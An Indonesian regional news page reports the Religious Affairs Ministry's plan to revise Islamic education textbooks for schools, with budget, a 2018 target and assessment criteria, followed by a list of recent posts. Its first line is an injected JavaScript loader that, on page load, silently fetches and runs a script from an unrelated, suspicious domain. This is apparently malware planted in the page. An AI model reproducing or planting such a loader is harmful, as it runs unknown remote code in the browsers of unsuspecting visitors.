(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Kemenag Akan Revisi Buku Pendidikan Agama, Ada Apa?


Menyikapi gejala sosial saat ini, Dirjen Pendidikan Islam Kementerian Agama (Dirjen Pendis Kemenag), Kamaruddin Amin, memiliki gagasan untuk melakukan revisi buku Pendidikan Agama Islam. Revisi buku, kata dia, akan berlaku pada tingkat SD, SMP, dan SMA.

Hal tersebut didasari lantaran pendidikan agama Islam di sekolah saat ini dihadapkan pada problem fundamental berupa kekurangan buku pendidikan agama Islam.

“Ya, rencana revisi buku sudah ada, bahkan sudah mulai. Sekarang masih tahap penulisan. Kalau untuk penulisan buku, anggaran kecil-lah, tidak besar-besar banget. Sekisar Rp 1 miliar hingga Rp 2 miliar,” ujar Kamaruddin di Jakarta, Kamis (9/11).

Nantinya, kata dia, gejala sosial akan menjadi kajian dari revisi buku Pendidikan Agama Islam, tapi materi tetap berlandaskan Kurikulum 2013 (K13). Target pencetakan buku, kata dia, diusahakan selesai tahun depan, 2018.

“Tentu akan kami masukkan mengenai pengamalan lebih Pancasila, toleransi antarumat beragama, aliran agama. Ya, pendidikan yang lebih terbuka melihat gejala sosial,” kata dia.

Sebelumnya, Pusat Penelitian dan Pengembangan (Puslitbang) Lektur, Khazanah Keagamaan dan Manajemen Organisasi dari Kementerian Agama (Kemenag) baru saja menyelenggarakan pembahasan hasil penilaian buku teks Pendidikan Agama Islam (PAI) pada jenjang pendidikan menegah. Ada tiga kriteria yang dipakai untuk melakukan penilaian terhadap buku pendidikan keagamaan.

Kapuslitbang Lektur, Khazanah Keagamaan dan Manajemen Organisasi dari Kemenag Choirul Fuad Yusuf mengatakan, pertama, menggunakan kriteria yang sudah disusun oleh Kementerian Pendidikan dan Kebudayaan (Kemendikbud). Yaitu yang dipakai BSNP, baik dari sisi kelengkapan isi buku, kesesuaian isi buku dengan kurikulum, kelayakan penyajian dan grafik serta lain sebagainya.

“Kedua, untuk menilai buku pendidikan agama Islam khususnya, dipakai pedoman tadqiq,” kata Choirul. (cel/rep)


Desy Arfianty

Recent Posts

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

9 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

10 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

11 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

11 jam ago

Wabup Balangan Serahkan Beasiswa Program KBP ke 1.511 Pelajar

KANALKALIMANTAN.COM, PARINGIN - Wakil Bupati (Wabup) Balangan, Akhmad Fauzi, menyerahkan beasiswa program Kartu Balangan Pintar… Read More

12 jam ago

DKISP Banjar Gelar Penandatanganan Pakta Integritas

KANALKALIMANTAN.COM, MARTAPURA – Kepala Dinas Komunikasi, Informatika, Statistik, dan Persandian (DKISP) Kabupaten Banjar HM Aidil… Read More

12 jam ago

This website uses cookies.